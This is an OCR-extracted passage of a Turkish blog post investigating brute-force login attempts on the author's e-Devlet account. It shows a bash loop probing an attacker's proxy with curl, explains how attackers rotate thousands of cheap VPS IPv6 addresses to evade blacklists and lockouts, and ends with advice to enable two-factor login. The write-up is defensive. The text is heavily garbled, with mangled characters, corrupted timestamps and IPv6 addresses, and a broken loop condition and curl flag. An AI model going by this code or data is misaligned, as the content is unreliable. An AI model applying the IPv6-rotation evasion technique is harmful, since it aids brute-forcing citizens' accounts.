for ((i=22000; i=24000; i++))

do

curl -X 45.32.148.233:51 -L -s -k
https://ifconfig.me/ip >>

ip check 45.32.148.233.txt
echo '' >> ip check 45.32.148.233.txt
sleep 1

done

Web sayfasindan gelen her bir yamitta farkli bir IPv6 adresi
yer aliyordu. Bu sonuca gore art niyetli kisiler, 2000 tane IPv6
izerinden istedikleri web sayfasina kaba kuvvet saldirisi

gerceklestirebiliyorlardi. Betik bir siire calistiktan sonra e-


https://ifconfig.me/ip
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Devlet hesabima saldirty1 gerceklestiren IPv6 adresini de bu
adresler arasinda gorebildim.

Sifre Durumunuz
Son Degisiklik Tarihi om eEm
Sonraki Degisiklik Tarini L

Son Basarisiz Giris Denemesi  Sifre 25/10/2023 18:46:22 (IP:2001:19f0:6

20£9a7:d317:645:37eb:48067)

Sisteme Giris Gegmisiniz
Tarih Uygulama  Sonug 1P Adresi Tar

m sifre
2001:19f0:6001:20f:9a7F.d317:c645:37eb:48067

25/10/2023 20:18:01

25/10/2023 18:46:22

25/1072023 18:46:18
25/10/2023 18:46:16
25/1072023 18:46:10
25/10/2023 18:44:18

12/10/202319:48:33

Neden IPv6 adresi kullaniyorlar?

Tim bu arastirmalari yaparken bir yandan saldirganin neden
IPv6 adresleri kullandigi kafami kurcalamaya basladi ve bir

zaman sonra seytanin ayrintida gizli oldugunu anladim.

DigitalOcean, Linode, Vultr ve benzeri servis saglayicilarindan

bir sunucu kiraladiginizda size bir adet IPv4 tahsis ediyorlar
ve bu sunucu uzerinden internet ile iligkili yaptigimiz tiim
islemlerde bu IP adresini kullaniyorsunuz.

Siber suclular da ¢ogu zaman siber saldirilarini gergeklestirmek
veya kamufle etmek i¢in bu tiir servis saglayicilarindan sunucu
kiraliyorlar. Zamanla gerceklestirdikleri siber saldirilara ait
sunucularin IPv4 adresleri giivenlik teknolojileri tarafindan
tespit edilip, engellenmeye, kiiresel kara listelere eklenmeye
basliyor. Saldir1 girisimleri engellenmeye baslandik¢a da bu
IPv4 adreslerini kullanamaz noktaya geliyorlar ve sikayet


https://www.digitalocean.com/
https://www.linode.com/
https://www.vultr.com/
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bildirimleri nedeniyle hesaplari, sunucular1 da hizla kapandig:

i¢in yeni bir sunucu arayigina giriyorlar.

Ornegin basit bir hesapla bu siber saldirilar1 100 tane
sunucudan gerceklestirdiklerini disiindigiimiizde, sunucu
basima 6$ 6dedikleri icin toplam 600$ maliyete katlanmalari
gerekiyor ve bunu ne kadar uzun siire engellenmeden
gerceklestirebilirlerse yanlarina kar kaliyor aksi halde kara
listelere eklendikge tekrar ve tekrar bu maliyete katlanmalar:
gerekiyor.

Peki IPv4 yerine IPv6 kullandiklarinda isin rengi nasil
degisiyor? Bu servis saglayicilari, sunucu kiralayan
miisterilerine sadece 1 adet IPv4 kullanma hakk: tanirken,
mevzu bahis IPv6 oldugunda binlercesini iretmelerine ve
kullanmalaria imkan tanmiyorlar. Béyle olunca da art niyetli
kisiler sadece 6$ 6deyerek binden fazla IPv6 adresi lizerinden
saldirilarin1 gerceklestirebiliyorlar. Kara listelere eklendikge
kullandiklar1 sunucular tizerinde yeni IPv6 adresleri iiretip,
kullanabildikleri icin de ta ki servis saglayicisina sikayetler
ulasana kadar kara listelerden pek fazla etkilenmeden
saldirilari uzun  siire  aym  sunucu  Uzerinde

gerceklestirebiliyorlar.

Peki e-Devlet uygulamasi, uyguladigi giivenlik kontrolleri,
onlemleri nedeniyle saldirganlar1 IPv4 yerine IPv6
kullanmalaria gercekten zorluyor muydu yoksa saldirganlar
iglerini garantiye almak icin mi IPv6 kullanmay1 tercih
ediyorlardi? Bunun icin e-Devlet hesabimi 5 defa hatali giris
denemesi ile gecici olarak kullanima kapattiktan hemen sonra
esimin hesabina bu defa dogru parola ile giris yapmaya
calistigimda bagariyla giris yapabildigimi gérdiim.
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Bu sonuca gore uygulama genelinde ve/veya ag seviyesinde
bir IPv4 hesabi ile ikiden fazla hesaba bu sekilde kaba kuvvet
saldirist yapildiginda bu IPv4 adresi kara listeye eklenmiyorsa,
engellenmiyorsa bu durumda saldirganlar bir IPv4 adresi ile
uzun  sure, Dbirden fazla hesaba bu  saldirilan
gerceklestirebilirlerdi. Aksi durumda ise IPv6 adresleri
kullanmaktan bagka ¢areleri kalmiyordu.

Ikiden fazla e-Devlet hesabi {izerinde bunu test ve teyit etme
sansim olmadig1 ve saldirganlarin da IPv6 sistemler tizerinden
bu saldirilar1 gergeklestirdigini gz 6niinde bulundurdugumda,
kuvvetle muhtemel saldirganlarin kullandigy IPv4 adreslerine

e-Devlet giivenlik 6nlemleri gecit vermiyordu.

e-Devlet Hesabimi Nasil Koruyabilirim?

Sonug itibariyle siber saldirganlarin uzun yillardir e-Devlet
hesaplarimizi hacklemek icin yeri geldiginde hacklenmis,
enfekte sistemlerden olusan bot aglarini yeri geldiginde kendi
sistemlerini kullandiklarini, izlerini gizlemek, yakalanmamak
icin vekil sunucu yazilimlarindan faydalandiklarini, IPvé
destegi olan servis saglayicilardan sunucular satin aldiklarini,

kisacasi her yolu denediklerini gérebiliyoruz.

Peki bu durumda sade bir vatandas olarak kendinizi bu yaziya
konu olan saldirilardan nasil koruyabilirsiniz? Bunun i¢in
yapmaniz gereken en dnemli adim, e-Devlet hesabiniza giriste
mutlaka ama mutlaka iki asamali giris yontemlerinden birini
kullanmaniz olacaktir. Nasil kullanabileceginizi bu adresi
ziyaret ederek 6grenebilirsiniz.

Bu vesileyle yeni yilinizi kutlar, 2024 yilinin hem sizlere hem


https://github.com/rafaelb128/ipv6-proxy-creator
https://www.turkiye.gov.tr/bilgilendirme?konu=ikiAsamaliGiris&altKonu=ikiAsamali
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de tum sevdiklerinize 6nce saglik sonra mutluluk ve basari

getirmesini dilerim.

Bir sonraki yazida goriismek dilegiyle.
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